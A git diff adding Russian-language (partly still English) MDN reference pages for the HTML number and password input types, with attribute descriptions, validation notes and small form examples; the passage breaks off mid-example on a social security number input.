+<p><span class="seoSummary">{{HTMLElement("input")}} элементы типа <strong><code>number</code></strong> используются для того, чтобы дать возможность пользователю ввести число. У них есть встроенная валидация, запрещающая вводить нечисловые значения.</span> Браузер может предоставить возможность увеличить или уменьшить значение специальными стрелками, используя мышь или просто двигая пальцем по экрану.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-number.html", "tabbed-shorter")}}</div>
+
+
+
+<p>В браузерах, которые не поддерживают тип <code>number</code>, тип <code>number</code> приводится к <code>text</code>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Value")}}</strong></td>
+   <td>A {{jsxref("Number")}} representing a number, or empty</td>
+  </tr>
+  <tr>
+   <td><strong>Events</strong></td>
+   <td>{{event("change")}} and {{event("input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Supported Common Attributes</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("placeholder", "input")}}, {{htmlattrxref("readonly", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>IDL attributes</strong></td>
+   <td><code>list</code>, <code>value</code>, <code>valueAsNumber</code></td>
+  </tr>
+  <tr>
+   <td><strong>Methods</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.stepUp", "stepUp()")}}, {{domxref("HTMLInputElement.stepDown", "stepDown()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Value">Value</h2>
+
+<p>{{jsxref("Number")}}, представляющий значение введенного числа. Вы можете установить значение по умолчанию, вставив значение в атрибут {{htmlattrxref("value", "input")}}, например:</p>
+
+<pre class="brush: html notranslate">&lt;input id="number" type="number" value="42"&gt;</pre>
+
+<p>{{EmbedLiveSample('Value', 600, 40)}}</p>
+
+<h2 id="Additional_attributes">Additional attributes</h2>
+
+<p>In addition to the attributes commonly supported by all {{HTMLElement("input")}} types, inputs of type <code>number</code> support these attributes:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribute</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("max")}}</code></td>
+   <td>The maximum value to accept for this input</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("min")}}</code></td>
+   <td>The minimum value to accept for this input</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("placeholder")}}</code></td>
+   <td>An example value to display inside the field when it's empty</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("readonly")}}</code></td>
+   <td>A Boolean attribute controlling whether or not the value is read-only</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("step")}}</code></td>
+   <td>A stepping interval to use when using up and down arrows to adjust the value, as well as for validation</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdefmax">{{htmlattrdef("max")}}</h3>
+
+<p>The maximum value to accept for this input. If the {{htmlattrxref("value", "input")}} entered into the element exceeds this, the element fails <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">constraint validation</a>. If the value of the <code>max</code> attribute isn't a number, then the element has no maximum value.</p>
+
+<p>This value must be greater than or equal to the value of the <code>min</code> attribute.</p>
+
+<h3 id="htmlattrdefmin">{{htmlattrdef("min")}}</h3>
+
+<p>The minimum value to accept for this input. If the {{htmlattrxref("value", "input")}} of the element is less than this, the element fails <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">constraint validation</a>. If a value is specified for <code>min</code> that isn't a valid number, the input has no minimum value.</p>
+
+<p>This value must be less than or equal to the value of the <code>max</code> attribute.</p>
+
+<p>{{page("/en-US/docs/Web/HTML/Element/input/text", "placeholder", 0, 1, 2)}}</p>
+
+<p>{{page("/en-US/docs/Web/HTML/Element/input/text", "readonly", 0, 1, 2)}}</p>
+
+<h3 id="htmlattrdefstep">{{htmlattrdef("step")}}</h3>
+
+<div id="step-include">
+<p>Атрибут <code>step</code> – это число, которое определяет точность, с которой задаётся значение, или специальное значение <code>any</code>, описанное ниже. Только значения, кратные шагу (<code>{{anch("min")}}</code>, если задано, иначе {{htmlattrxref("value", "input")}}, или подходящее стандартное значение, если ни одно из двух не задано) будут корректными.</p>
+
+<p>Строковое значение <code>any</code> означает, что никакое значение шага не задано и допустимо любое значение (в пределах других ограничений, таких как <code>{{anch("min")}}</code> и <code>{{anch("max")}}</code>).</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Когда значение, введённое пользователем, не подходит под заданное значение шага, {{Glossary("user agent")}} может округлить его до ближайшего допустимого значения с приоритетом в большую сторону в том случае, если значение находится ровно посередине шага.</p>
+</div>
+</div>
+
+<p>Стандартное значение шага для поля ввода <code>number</code> – это <code>1</code>, что позволяет вводить только целые числа, <em>если</em> только не задать значение шага нецелым числом.</p>
+
+<h2 id="Using_number_inputs">Using number inputs</h2>
+
+<p><code>&lt;input type="number"&gt;</code> elements can help simplify your work when building the user interface and logic for entering numbers into a form. When you create a number input with the proper <code>type</code> value, <code>number</code>, you get automatic validation that the entered text is a number, and usually a set of up and down buttons to step the value up and down.</p>
+
+<div class="warning">
+<p><strong>Important</strong>: Bear in mind that logically you should not be able to enter characters inside a number of input other than numbers. There seems to be some disagreement about this among browsers; see {{bug(1398528)}}.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: It's crucial to remember that a user can tinker with your HTML behind the scenes, so your site <em>must not</em> use simple client-side validation for any security purposes. You <em>must</em> verify on the server side any transaction in which the provided value may have any security implications of any kind.</p>
+</div>
+
+<p>Mobile browsers further help with the user experience by showing a special keyboard more suited for entering numbers when the user tries to enter a value. The following screenshot is taken from Firefox for Android:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14963/number-keyboard-fxa.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<h3 id="A_simple_number_input">A simple number input</h3>
+
+<p>In its most basic form, a number input can be implemented like this:</p>
+
+<pre class="brush: html notranslate">&lt;label for="ticketNum"&gt;Number of tickets you would like to buy:&lt;/label&gt;
+&lt;input id="ticketNum" type="number" name="ticketNum" value="0"&gt;</pre>
+
+<p>{{EmbedLiveSample('A_simple_number_input', 600, 40)}}</p>
+
+<p>A number input is considered valid when empty and when a single number is entered, but is otherwise invalid. If the {{htmlattrxref("required", "input")}} attribute is used, the input is no longer considered valid when empty.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Any number is an acceptable value, as long as it is a <a href="https://html.spec.whatwg.org/multipage/infrastructure.html#valid-floating-point-number">valid floating point number</a> (i.e. not <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN">NaN</a> or <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity">Infinity</a>).</p>
+</div>
+
+<h3 id="Placeholders">Placeholders</h3>
+
+<p>Sometimes it's helpful to offer an in-context hint as to what form the input data should take. This can be especially important if the page design doesn't offer descriptive labels for each {{HTMLElement("input")}}. This is where <strong>placeholders</strong> come in. A placeholder is a value most commonly used to provide a hint as to the format the input should take <code>value</code>. It is displayed inside the edit box when the element's <code>value</code> is <code>""</code>. Once data is entered into the box, the placeholder disappears; if the box is emptied, the placeholder reappears.</p>
+
+<p>Here, we have an <code>number</code> input with the placeholder <code>"Multiple of 10"</code>. Note how the placeholder disappears and reappears as you manipulate the contents of the edit field.</p>
+
+<pre class="brush: html notranslate">&lt;input type="number" placeholder="Multiple of 10"&gt;</pre>
+
+<p>{{EmbedLiveSample('Placeholders', 600, 40)}}</p>
+
+<h3 id="Controlling_step_size">Controlling step size</h3>
+
+<p>By default, the up and down buttons provided for you to step the number up and down will step the value up and down by 1. You can change this by providing a {{htmlattrxref("step", "input")}} attribute, which takes as its value a number specifying the step amount. Our above example contains a placeholder saying that the value should be a multiple of 10, so it makes sense to add a <code>step</code> value of 10:</p>
+
+<pre class="brush: html notranslate">&lt;input type="number" placeholder="multiple of 10" step="10"&gt;</pre>
+
+<p>{{EmbedLiveSample('Controlling_step_size', 600, 40)}}</p>
+
+<p>In this example you should find that the up and down step arrows will increase and decrease the value by 10 each time, not 1. You can still manually enter a number that's not a multiple of 10, but it will be considered invalid.</p>
+
+<h3 id="Specifying_minimum_and_maximum_values">Specifying minimum and maximum values</h3>
+
+<p>You can use the {{htmlattrxref("min", "input")}} and {{htmlattrxref("max", "input")}} attributes to specify a minimum and maximum value that the field can have. For example, let's give our example a minimum of 0, and a maximum of 100:</p>
+
+<pre class="brush: html notranslate">&lt;input type="number" placeholder="multiple of 10" step="10" min="0" max="100"&gt;</pre>
+
+<p>{{EmbedLiveSample('Specifying_minimum_and_maximum_values', 600, 40)}}</p>
+
+<p>In this updated version, you should find that the up and down step buttons will not allow you to go below 0 or above 100. You can still manually enter a number outside these bounds, but it will be considered invalid.</p>
+
+<h3 id="Allowing_decimal_values">Allowing decimal values</h3>
+
+<p>One issue with number inputs is that their step size is 1 by default — if you try to enter a number with a decimal, such as "1.0", it will be considered invalid. If you want to enter a value that requires decimals, you'll need to reflect this in the <code>step</code> value (e.g. <code>step="0.01"</code> to allow decimals to two decimal places). Here's a simple example:</p>
+
+<pre class="brush: html notranslate">&lt;input type="number" placeholder="1.0" step="0.01" min="0" max="10"&gt;</pre>
+
+<p>{{EmbedLiveSample("Allowing_decimal_values", 600, 40)}}</p>
+
+<p>See that this example allows any value between 0.0 and 10.0, with decimals to two places. "9.52" is valid, but "9.521" is not, for example.</p>
+
+<h3 id="Controlling_input_size">Controlling input size</h3>
+
+<p>{{HTMLElement("input")}} elements of type <code>number</code> don't support form sizing attributes such as {{htmlattrxref("size", "input")}}. You'll have to resort to <a href="/en-US/docs/Web/CSS">CSS</a> to change the size of these controls.</p>
+
+<p>For example, to adjust the width of the input to be only as wide as is needed to enter a three-digit number, we can change our HTML to include an ID and to shorten our placeholder since the field will be too narrow for the text we have been using so far:</p>
+
+<pre class="brush: html notranslate">&lt;input type="number" placeholder="x10" step="10" min="0" max="100" id="number"&gt;</pre>
+
+<p>Then we add some CSS to narrow the width of the element with the ID <code>number</code>:</p>
+
+<pre class="brush: css notranslate">#number {
+  width: 3em;
+}</pre>
+
+<p>The result looks like this:</p>
+
+<p>{{EmbedLiveSample('Controlling_input_size', 600, 40)}}</p>
+
+<h3 id="Offering_suggested_values">Offering suggested values</h3>
+
+<p>You can provide a list of default options from which the user can select by specifying the {{htmlattrxref("list", "input")}} attribute, which contains as its value the ID of a {{HTMLElement("datalist")}}, which in turn contains one {{HTMLElement("option")}} element per suggested value; each <code>option</code>'s <code>value</code> is the corresponding suggested value for the number entry box.</p>
+
+<pre class="brush: html notranslate">&lt;input id="ticketNum" type="number" name="ticketNum" list="defaultNumbers"&gt;
+&lt;span class="validity"&gt;&lt;/span&gt;
+
+&lt;datalist id="defaultNumbers"&gt;
+  &lt;option value="10045678"&gt;
+  &lt;option value="103421"&gt;
+  &lt;option value="11111111"&gt;
+  &lt;option value="12345678"&gt;
+  &lt;option value="12999922"&gt;
+&lt;/datalist&gt;</pre>
+
+<p>{{EmbedLiveSample("Offering_suggested_values", 600, 40)}}</p>
+
+<div class="note">
+<p>Use of the {{htmlattrxref("list", "input")}} attribute with <code>number</code> inputs is not supported in all browsers. It works in Chrome and Opera, for example, but not in Firefox.</p>
+</div>
+
+<h2 id="Validation">Validation</h2>
+
+<p>We have already mentioned a number of validation features of <code>number</code> inputs, but let's review them now:</p>
+
+<ul>
+ <li><code>&lt;input type="number"&gt;</code> elements automatically invalidate any entry that isn't a number (or empty, unless <code>required</code> is specified).</li>
+ <li>You can use the {{htmlattrxref("required", "input")}} attribute to make an empty entry invalid, i.e. the input has to be filled in.</li>
+ <li>You can use the {{htmlattrxref("step", "input")}} attribute to constrain valid values to a certain set of steps (e.g. multiples of 10).</li>
+ <li>You can use the {{htmlattrxref("min", "input")}} and {{htmlattrxref("max", "input")}} attributes to constrain valid values to lower and upper bounds.</li>
+</ul>
+
+<p>The following example exhibits all of the above features, as well as using some CSS to display valid and invalid icons when the input value is valid/invalid:</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="balloons"&gt;Number of balloons to order (multiples of 10):&lt;/label&gt;
+    &lt;input id="balloons" type="number" name="balloons" step="10" min="0" max="100" required&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;input type="submit"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample("Validation", 600, 80)}}</p>
+
+<p>Try submitting the form with different invalid values entered — e.g. no value, a value below 0 or above 100, a value that is not a multiple of 10, or a non-numerical value — and see how the error messages the browser gives you differ with different ones.</p>
+
+<p>The CSS applied to this example is as follows:</p>
+
+<pre class="brush: css notranslate">div {
+  margin-bottom: 10px;
+}
+
+input:invalid+span:after {
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+
+<p>Here we use the {{cssxref(":invalid")}} and {{cssxref(":valid")}} pseudo classes to display an appropriate invalid or valid icon as generated content on the adjacent {{htmlelement("span")}} element, indicating if the current value is valid. We put it on a separate <code>&lt;span&gt;</code> element for added flexibility; some browsers don't display generated content very effectively on some types of form inputs (read for example the section on <a href="/en-US/docs/Web/HTML/Element/input/date#Validation"><code>&lt;input type="date"&gt;</code> validation</a>).</p>
+
+<div class="warning">
+<p><strong>Important</strong>: HTML form validation is <em>not</em> a substitute for server-side scripts that ensure that the entered data is in the proper format. It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to bypass your HTML and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data is submitted (or data which is too large, is of the wrong type, and so forth).</p>
+</div>
+
+<h3 id="Pattern_validation">Pattern validation</h3>
+
+<p><code>&lt;input type="number"&gt;</code> elements do not support use of the {{htmlattrxref("pattern", "input")}} attribute for making entered values conform to a specific regex pattern. The rationale for this is that number inputs won't be valid if they contain anything except numbers, and you can constrain the minimum and maximum number of valid digits using the {{htmlattrxref("min", "input")}} and {{htmlattrxref("max", "input")}} attributes, as explained above.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>We've already covered the fact that by default, the increment is 1, and you can use the {{htmlattrxref("step", "input")}} attribute to allow decimal inputs. Let's take a closer look. In the following example we've set up a form for entering the user's height; it defaults to accepting a height in meters, but you can click the relevant button to change the form to accept feet and inches instead. The input for the height in meters accepts decimals to two places.</p>
+
+<p>{{EmbedLiveSample("Examples", 600, 100)}}</p>
+
+<p>The HTML looks like this:</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+    &lt;div class="metersInputGroup"&gt;
+        &lt;label for="meters"&gt;Enter your height — meters:&lt;/label&gt;
+        &lt;input id="meters" type="number" name="meters" step="0.01" min="0" placeholder="e.g. 1.78" required&gt;
+        &lt;span class="validity"&gt;&lt;/span&gt;
+    &lt;/div&gt;
+    &lt;div class="feetInputGroup" style="display: none;"&gt;
+        &lt;span&gt;Enter your height — &lt;/span&gt;
+        &lt;label for="feet"&gt;feet:&lt;/label&gt;
+        &lt;input id="feet" type="number" name="feet" min="0" step="1"&gt;
+        &lt;span class="validity"&gt;&lt;/span&gt;
+        &lt;label for="inches"&gt;inches:&lt;/label&gt;
+        &lt;input id="inches" type="number" name="inches" min="0" max="11" step="1"&gt;
+        &lt;span class="validity"&gt;&lt;/span&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+      &lt;input type="button" class="meters" value="Enter height in feet and inches"&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+        &lt;input type="submit" value="Submit form"&gt;
+    &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>You'll see that we are using many of the attributes we've already looked at in the article earlier on. Since we want to accept a meter value in centimeters, we've set the <code>step</code> value to <code>0.01</code>, so that values like 1.78 are not seen as invalid. We've also provided a placeholder for that input.</p>
+
+<p>We've hidden the feet and inches inputs initially using <code>style="display: none;"</code> so that meters is the default entry type.</p>
+
+<p>Now on to the CSS — this looks very similar to the validation styling we saw before; nothing remarkable here:</p>
+
+<pre class="brush: css notranslate">div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute;
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+
+<p>And finally, the JavaScript:</p>
+
+<pre class="brush: js notranslate">var metersInputGroup = document.querySelector('.metersInputGroup');
+var feetInputGroup = document.querySelector('.feetInputGroup');
+var metersInput = document.querySelector('#meters');
+var feetInput = document.querySelector('#feet');
+var inchesInput = document.querySelector('#inches');
+var switchBtn = document.querySelector('input[type="button"]');
+
+switchBtn.addEventListener('click', function() {
+  if(switchBtn.getAttribute('class') === 'meters') {
+    switchBtn.setAttribute('class', 'feet');
+    switchBtn.value = 'Enter height in meters';
+
+    metersInputGroup.style.display = 'none';
+    feetInputGroup.style.display = 'block';
+
+    feetInput.setAttribute('required', '');
+    inchesInput.setAttribute('required', '');
+    metersInput.removeAttribute('required');
+
+    metersInput.value = '';
+  } else {
+    switchBtn.setAttribute('class', 'meters');
+    switchBtn.value = 'Enter height in feet and inches';
+
+    metersInputGroup.style.display = 'block';
+    feetInputGroup.style.display = 'none';
+
+    feetInput.removeAttribute('required');
+    inchesInput.removeAttribute('required');
+    metersInput.setAttribute('required', '');
+
+    feetInput.value = '';
+    inchesInput.value = '';
+  }
+});</pre>
+
+<p>After declaring a few variables, we add an event listener to the button to control the switching mechanism. This is pretty simple, mostly involving changing over the button class and label, and updating the display values of the two sets of inputs when the button is pressed. Note that we're not converting back and forth between meters and feet/inches here, which a real-life web application would probably do.</p>
+
+<div class="note">
+<p>Note that when the user clicks the button, we remove the <code>required</code> attribute(s) from the input(s) we are hiding, and empty the <code>value</code> attribute(s). This is so that we can submit the form if both input sets aren't filled in, and won't submit data that we didn't mean to submit. If we didn't do this, you'd have to fill in both feet/inches <strong>and</strong> meters to submit the form!</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#number-state-(type=number)', '&lt;input type="number"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sec-forms.html#number-state-typenumber', '&lt;input type="number"&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.input.input-number")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Forms">HTML forms guide</a></li>
+ <li>{{HTMLElement("input")}}</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/tel">&lt;input type="tel"&gt;</a></code></li>
+</ul>
diff --git a/files/ru/web/html/element/input/password/index.html b/files/ru/web/html/element/input/password/index.html
new file mode 100644
index 0000000000..eb87000912
--- /dev/null
+++ b/files/ru/web/html/element/input/password/index.html
@@ -0,0 +1,614 @@
+---
+title: <input type="password">
+slug: Web/HTML/Element/Input/password
+tags:
+  - Element
+  - HTML
+  - Веб
+  - Пароль
+  - Формы
+translation_of: Web/HTML/Element/input/password
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">{{HTMLElement("input")}} элементы типа <strong><code>"password"</code></strong> предоставляют пользователю возможность безопасного ввода пароль. Элемент представлен как однострочный текстовый редактор, в котором текст затенен, чтобы его нельзя было прочитать, как правило, путем замены каждого символа другим символом, таким как звездочка ("*") или точка ("•"). Этот символ будет меняться в зависимости от {{Glossary("user agent")}} и {{Glossary("OS")}}.</span></p>
+
+<p>Особенности работы процесса ввода могут отличаться от браузера к браузеру; мобильные устройства, например, часто отображают вводимый символ на мгновение, прежде чем закрывать его, чтобы позволить пользователю быть уверенным, что они нажали клавишу, которую они хотели нажать; это полезно, учитывая небольшой размер клавиш и легкость, с которой может быть нажата неправильная, особенно на виртуальных клавиатурах.</p>
+
+<div class="note">
+<p>Любые формы, содержащие конфиденциальную информацию, такую ​​как пароли (например, формы входа), должны обслуживаться через HTTPS; В Firefox теперь реализованы несколько механизмов для предупреждения от небезопасных форм входа в систему - см. <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Insecure_passwords">Небезопасные пароли</a>. Другие браузеры также реализуют аналогичные механизмы.</p>
+</div>
+
+<div id="Basic_example">
+<pre class="brush: html">&lt;input id="userPassword" type="password"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("Basic_example", 600, 40)}}</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Value")}}</strong></td>
+   <td>{{domxref("DOMString")}} представляет пароль или пустую строку</td>
+  </tr>
+  <tr>
+   <td><strong>События</strong></td>
+   <td>{{event("change")}} и {{event("input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Общие поддерживаемые атрибуты</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("inputmode", "input")}}, {{htmlattrxref("maxlength", "input")}}, {{htmlattrxref("minlength", "input")}}, {{htmlattrxref("pattern", "input")}}, {{htmlattrxref("placeholder", "input")}}, {{htmlattrxref("readonly", "input")}}, {{htmlattrxref("required", "input")}}, and {{htmlattrxref("size", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>IDL атрибуты</strong></td>
+   <td><code>selectionStart</code>, <code>selectionEnd</code>, <code>selectionDirection</code>, и <code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>Методы</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.setRangeText", "setRangeText()")}}, и {{domxref("HTMLInputElement.setSelectionRange", "setSelectionRange()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Значения">Значения</h2>
+
+<p>Атрибут {{htmlattrxref("value", "input")}} содержит {{domxref("DOMString")}} , значение которого является текущим содержимым элемента редактирования текста, используемого для ввода пароля. Если пользователь еще ничего не указал, это значение представляет собой пустую строку (<code>""</code>). Если указано свойство {{htmlattrxref("required")}}, то поле ввода пароля должно содержать значение, отличное от пустой строки, которое должно быть действительным.</p>
+
+<p>Если указан атрибут {{htmlattrxref("pattern", "input")}}, содержимое элемента управления <code>"password"</code> считается действительным только в том случае, если значение проходит проверку; см. {{anch("Validation")}} для получения дополнительной информации.</p>
+
+<div class="note">
+<p>Символы строки (U+000A) и возврата каретки(U+000D) недопустимы в значении поля <code>"password"</code>. При вставке пароля, возвращаемые символы удаляются из значения.</p>
+</div>
+
+<h2 id="Использование_полей_ввода_пароля">Использование полей ввода пароля</h2>
+
+<p>Поля ввода пароля обычно работают так же, как и другие текстовые поля ввода; основное отличие состоит в том, чтобы скрывать введенный контент, чтобы люди, не знакомые с пользователем, не могли прочитать его пароль.</p>
+
+<h3 id="Простое_поле_ввода_пароля">Простое поле ввода пароля</h3>
+
+<p>Здесь мы видим самый простое поле ввода пароля, с меткой, установленной с помощью элемента {{HTMLElement("label")}}.</p>
+
+<pre class="brush: html">&lt;label for="userPassword"&gt;Пароль:&lt;/label&gt;
+&lt;input id="userPassword" type="password"&gt;</pre>
+
+<p>{{EmbedLiveSample("A_simple_password_input", 600, 40)}}</p>
+
+<h3 id="Поддержка_автозаполнения">Поддержка автозаполнения</h3>
+
+<p>Чтобы менеджер паролей пользователя автоматически вводил пароль, укажите атрибут {{htmlattrxref("autocomplete", "input")}}. Для паролей должно быть одно из следующих значений:</p>
+
+<dl>
+ <dt><code>"on"</code></dt>
+ <dd>Разрешить браузеру или менеджеру паролей автоматически заполнять поле пароля. Это не так информативно, как использование <code>"current-password"</code> или <code>"new-password"</code>.</dd>
+ <dt><code>"off"</code></dt>
+ <dd>Запрещает браузеру или менеджеру паролей автоматически заполнять поле пароля.</dd>
+ <dt><code>"current-password"</code></dt>
+ <dd>Разрешить браузеру или менеджеру паролей вводить текущий пароль для сайта. Это дает больше информации, чем <code>"on"</code>, так как позволяет браузеру или менеджеру паролей знать, что в настоящее время известен пароль для сайта в поле, а не используется новый.</dd>
+ <dt><code>"new-password"</code></dt>
+ <dd>Разрешить браузеру или менеджеру паролей автоматически вводить новый пароль для сайта. Он может быть автоматически сгенерирован на основе других атрибутов элемента управления или может просто указать браузеру представить виджет «предлагаемого нового пароля».</dd>
+</dl>
+
+<div id="Autocomplete_sample1">
+<pre class="brush: html">&lt;label for="userPassword"&gt;Пароль:&lt;/label&gt;
+&lt;input id="userPassword" type="password" autocomplete="current-password"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("Autocomplete_sample1", 600, 40)}}</p>
+
+<h3 id="Обязательное_заполнение_пароля">Обязательное заполнение пароля</h3>
+
+<p>Чтобы сообщить браузеру пользователя, что поле пароля должно иметь действительное значение перед отправкой формы, просто укажите Boolean атрибут {{htmlattrxref("required", "input")}}.</p>
+
+<pre class="brush: html">&lt;label for="userPassword"&gt;Пароль:&lt;/label&gt;
+&lt;input id="userPassword" type="password" required&gt;</pre>
+
+<p>{{EmbedLiveSample("Making_the_password_mandatory", 600, 40)}}</p>
+
+<h3 id="Указание_режима_ввода">Указание режима ввода</h3>
+
+<p>Если ваше приложение лучше обслуживается с использованием другого режима ввода, чем по умолчанию, вы можете использовать атрибут {{htmlattrxref("inputmode", "input")}} для определенного запроса. Наиболее очевидным вариантом использования является то, что ваше приложение использует в качестве пароля числовое значение (например, ПИН). Например, мобильные устройства с виртуальными клавиатурами могут переключаться на макет цифровой клавиатуры вместо полной клавиатуры, чтобы облегчить ввод пароля.</p>
+
+<pre class="brush: html">&lt;label for="pin"&gt;ПИН:&lt;/label&gt;
+&lt;input id="pin" type="password" inputmode="numeric"&gt;</pre>
+
+<p>{{EmbedLiveSample("Specifying_an_input_mode", 600, 40)}}</p>
+
+<h3 id="Настройка_длины_пароля">Настройка длины пароля</h3>
+
+<p>Как обычно, вы можете использовать атрибуты {{htmlattrxref("minlength", "input")}} и {{htmlattrxref("maxlength", "input")}}, чтобы установить минимальную и максимальную допустимую длину пароля , Этот пример дополняет предыдущий, указав, что PIN-код пользователя должен быть не менее четырех и не более восьми цифр. Атрибут {{htmlattrxref("size", "input")}} используется для обеспечения того, чтобы элемент управления ввода пароля имел ширину в восемь символов.</p>
+
+<pre class="brush: html">&lt;label for="pin"&gt;ПИН:&lt;/label&gt;
+&lt;input id="pin" type="password" inputmode="numeric" minlength="4"
+       maxlength="8" size="8"&gt;</pre>
+
+<p>{{EmbedLiveSample("Setting_length_requirements", 600, 40)}}</p>
+
+<h3 id="Выделение_текста">Выделение текста</h3>
+
+<p>Как и другие элементы управления текстовой записью, вы можете использовать метод {{domxref("HTMLInputElement.select", "select()")}} для выбора всего текста в поле пароля.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;label for="userPassword"&gt;Пароль&lt;/label&gt;
+&lt;input id="userPassword" type="password" size="12"&gt;
+&lt;button id="selectAll"&gt;Выделить все&lt;/button&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">document.getElementById("selectAll").onclick = function(event) {
+  document.getElementById("userPassword").select();
+}</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample("Selecting_text", 600, 40)}}</p>
+
+<p>Вы также можете использовать {{domxref("HTMLInputElement.selectionStart", "selectionStart")}} и {{domxref("HTMLInputElement.selectionEnd", "selectionEnd")}}, чтобы получить (или установить), какой диапазон символов в элементе управления, и {{domxref("HTMLInputElement.selectionDirection", "selectionDirection")}}, чтобы узнать, какой выбор направления произошел (или будет расширен в зависимости от вашей платформы, см. его документацию для объяснения) , Однако, учитывая, что текст затенен, их полезность несколько ограничена.</p>
+
+<h2 id="Валидация">Валидация</h2>
+
+<p>Если ваше приложение имеет ограничения по набору символов или любые другие требования для фактического содержимого введенного пароля, вы можете использовать атрибут {{htmlattrxref("pattern", "input")}}, чтобы установить регулярное выражение, чтобы автоматически гарантировать, что ваши пароли соответствуют этим требованиям.</p>
+
+<p>В этом примере допустимы только значения, состоящие как минимум из четырех и не более восьми шестнадцатеричных цифр.</p>
+
+<div id="Validation_sample1">
+<pre class="brush: html">&lt;label for="hexId"&gt;Hex ID:&lt;/label&gt;
+&lt;input id="hexId" type="password" pattern="[0-9a-fA-F]{4,8}"
+       title="Enter an ID consisting of 4-8 hexadecimal digits"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("Validation_sample1", 600, 40)}}</p>
+
+<dl>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>
+ <p>Этот Boolean атрибут указывает, что поле пароля недоступно для взаимодействия. Кроме того, отключенные значения полей не отправляются с формой.</p>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Запрос_номера_социального_страхования">Запрос номера социального страхования</h3>
+
+<p>В этом примере принимается только ввод, который соответствует формату <a href="https://en.wikipedia.org/wiki/Social_Security_number#Structure">действительного номера социального страхования Соединенных Штатов</a>. Эти цифры, используемые для целей налогообложения и идентификации в США, представлены в форме «123-45-6789». Также существуют различные правила, для которых допустимы значения в каждой группе.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;label for="ssn"&gt;SSN:&lt;/label&gt;
